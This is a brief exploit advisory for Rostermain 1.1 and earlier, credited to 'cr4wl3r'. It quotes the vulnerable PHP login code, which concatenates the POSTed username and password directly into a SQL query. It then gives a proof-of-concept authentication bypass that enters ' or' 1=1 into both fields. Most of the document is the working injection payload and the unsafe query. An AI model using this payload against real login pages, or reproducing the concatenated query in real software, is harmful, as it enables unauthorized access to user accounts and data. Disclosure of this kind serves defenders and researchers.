Rostermain <= 1.1 (Auth Bypass) SQL Injection Vulnerability

[+] Rostermain <= 1.1 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
[+] Download : http://scripts.ringsworld.com/games-and-entertainment/rostermain/
[+] Vuln Code :
[index.php]
if ($_POST['userid'] && $_POST['password'])
{
  // if the user has just tried to log in
  $logquery = "select * from users "
           ."where username='$userid' "
           ." and passwd='$password' ";
[+] PoC :
username :  ' or' 1=1
password :  ' or' 1=1